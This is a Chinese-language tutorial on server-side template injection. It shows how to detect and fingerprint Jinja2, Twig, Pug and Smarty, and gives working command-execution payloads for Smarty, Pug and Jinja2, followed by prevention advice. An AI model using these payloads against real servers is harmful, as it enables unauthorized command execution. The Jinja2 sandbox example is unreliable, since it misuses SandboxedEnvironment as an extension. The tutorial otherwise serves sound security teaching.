SSTI模板注入
攻击流程
当用户输入直接嵌入模板而未进行适当的验证或转义时,攻击者可以构建更改模板行为的有效载荷。这可能导致各种意外的服务器端操作,包括:
- 读取或修改服务器端文件。
- 执行系统命令。
- 访问敏感信息(例如,环境变量、数据库凭证)。
漏洞存在验证
使用以下字符串,进行依次拼接观察是否会报错
${{<%[%'"}}\%
如果网站接收这些特殊字符,且正常显示,那么基本没有漏洞:

如果报错,那么说明存在漏洞:

确定模板语言
不同的语言,使用的模板语法不同,常见的有:
Jinjia2/Twig
Jinja2 和 Twig 在语法和行为上相似,仅通过有效载荷响应很难将它们区分开来。
Twig
使用有效载荷{{7*'7'}},输出将是 49

Jinja2
应用程序中使用相同的有效负载,输出将是 7777777
由于 Jinja2 允许在模板中执行 Python 表达式,因此 Jinja2 的安全风险通常源于不安全的编码实践,这些实践允许用户输入在模板中执行,而未经适当的清理。这种漏洞并非源于 Jinja2 本身,而是开发者如何处理模板中的用户输入。
关键漏洞点:
- 表达式评估:Jinja2 在花括号内评估表达式
{{ }},如果恶意构造,可以执行任意 Python 代码。 - 模板继承和导入:高级功能如模板继承和宏导入可能被滥用以执行未预期的代码,导致信息泄露或服务器操纵。

Jade/Pug
Pug 的安全漏洞主要源于其能够在模板变量中插入 JavaScript 代码的能力。这个旨在生成动态内容的功能,如果用户输入被嵌入到模板中而没有进行适当的清理,可能会被恶意利用。
主要漏洞点:
- JavaScript 插值:Pug 允许在模板中直接嵌入 JavaScript,使用插值花括号
#{}。如果用户输入未经适当清理就被插值,可能导致任意代码执行。 - 默认转义:Pug 确实为某些输入提供了自动转义,将字符如
<、>和&转换为它们的 HTML 实体等效字符,以防止跨站脚本攻击。然而,这种默认行为并不涵盖所有潜在的安全问题,尤其是在处理未转义的插值!{}或复杂输入场景时。
Pug(以前称为 Jade)使用不同的语法来处理表达式,这可以被利用来识别其使用。Pug/Jade 在 #{} .中评估 JavaScript 表达式。例如,使用有效载荷#{7*7}会返回 49。

与 Jinja2 或 Twig 不同,Pug/Jade 直接允许在模板中执行 JavaScript,无需额外的分隔符如{{ }}。例如:

Smarty
Smarty 的灵活性允许在模板中动态执行 PHP 函数,这可能会成为一个重大的安全风险。通过模板变量或修饰符执行 PHP 代码的能力应严格控制,以防止未经授权的命令执行。
尝试流程

实操
PHP-Smarty
先确定是否使用了smarty,输入smarty标签,如:{'Hello'|upper},观察结果是否输出Hello,如果是,那就说明使用了smarty,可以进行下一步操作

确定了之后,提供php的命令执行函数构造payload:{system("ls")}

可以看到可以rce了
NodeJS-Pug
在构建有效载荷之前,重要的是要确认应用程序确实使用了 Pug,先构造一个语句进行测试:#{7*7},如果应用程序输出 49,则确认 Pug 正在处理模板。

由于 Pug 允许 JavaScript 插值,那就可以使用 payload #{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
root.process访问 Node.js 中的全局process对象,在 Pug 模板内部。mainModule.require('child_process')动态引入child_process模块,绕过可能阻止其常规引入的限制。spawnSync('ls'): 同步执行ls命令。.stdout: 捕获命令的标准输出,包括目录列表。

可以执行命令读取文件,实现rce
注:spawnSync不能执行命令+参数的指令类似 ls -al,因为它无法将其分割,而是将其作为一个整体进行执行
spawnSync()的用法:spawnSync(command, [args], [options])
- command: 这是一个指定要运行的命令的字符串。
- args: 这是一个传递给命令的字符串参数数组。
- options: 这是一个可选参数,可以指定各种选项,例如工作目录、环境变量、输入、输出、超时等。
所以正确的写法是:spawnSync('ls', ['-lah']).stdout}
Python-Jinjia2
在构建有效载荷之前,要确认应用程序确实使用了 Jinja2,构造语句:{{7*7}}如果能输出运算结果即证明存在SSTI注入且使用Jinjia2

一旦确认使用 Jinja2,可以使用有效载荷 {{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}} 来实现命令执行,其中 __subclasses__()[157] 里面的157是 __subclasses__() 列表中subprocess.Popen 类的索引,此索引是变化的。
细节参考:小迪安全Web安全篇
和NodeJS的Pug一样,不能直接使用 ls -al 这种带参数的指令,需要特殊写法:subprocess.check_output([command, arg1, arg2])
自动化
使用工具:SSTImap进行自动化攻击
预防措施
Jinja2
- 沙盒模式:在 Jinja2 中启用沙盒环境以限制模板访问不安全函数和属性的能力。这可以防止任意 Python 代码的执行。例如:
from jinja2 import Environment, select_autoescape, sandbox
env = Environment(
autoescape=select_autoescape(['html', 'xml']),
extensions=[sandbox.SandboxedEnvironment]
)
-
输入清理:始终清理输入,以转义或删除可能被解释为代码的危险字符和字符串。当输入直接用于模板表达式时,这一点至关重要。
-
模板审计:定期审查和审计模板,以发现不安全的编码模式,例如直接嵌入用户输入而不进行清理。
Jade (Pug)
-
避免直接 JavaScript 取值:限制或避免使用 Pug 在模板中 JavaScript 代码的取值。使用不涉及直接代码执行的其他方法来处理动态内容。例如:
var user = !{JSON.stringify(user)} h1= user.name谨慎使用
!{},因为它允许未转义的输出,这可能会造成危害。建议使用#{},它默认转义 HTML。 -
验证和清理输入:确保所有用户输入都符合严格的模式,并在模板引擎渲染之前进行清理。这降低了恶意代码执行的风险。
-
安全配置设置:使用最小化风险的配置选项和环境设置,例如禁用允许脚本执行的功能。
Smarty
-
禁用
{php}标签:确保在 Smarty 配置中禁用{php}标签,以防止在模板中执行 PHP 代码。$smarty->security_policy->php_handling = Smarty::PHP_REMOVE; $smarty->disable_security = false; -
使用安全处理器:如果您必须允许用户自定义模板,请提供一组安全的标签或修饰符,他们可以使用这些标签或修饰符,而不允许直接执行命令或访问 shell。
-
定期进行安全审查:对模板文件和数据处理逻辑进行安全审查,确保没有使用不安全的做法。定期更新 Smarty 以跟上安全补丁。
模板引擎中的沙箱机制
沙箱机制是一种安全特性,它限制了在模板中执行可能有害的代码。它限制了模板可以执行的操作,例如文件操作或系统命令执行。适当的沙箱机制有助于防止安全漏洞,如 SSTI。
作用:
- 沙箱机制是一种安全特性,它限制了在模板中执行可能有害的代码。它限制了模板可以执行的操作,例如文件操作或系统命令执行。适当的沙箱机制有助于防止安全漏洞,如 SSTI。
- 变量和数据访问:控制对全局变量或敏感数据的访问,确保模板无法操纵或泄露关键信息。

浙公网安备 33010602011771号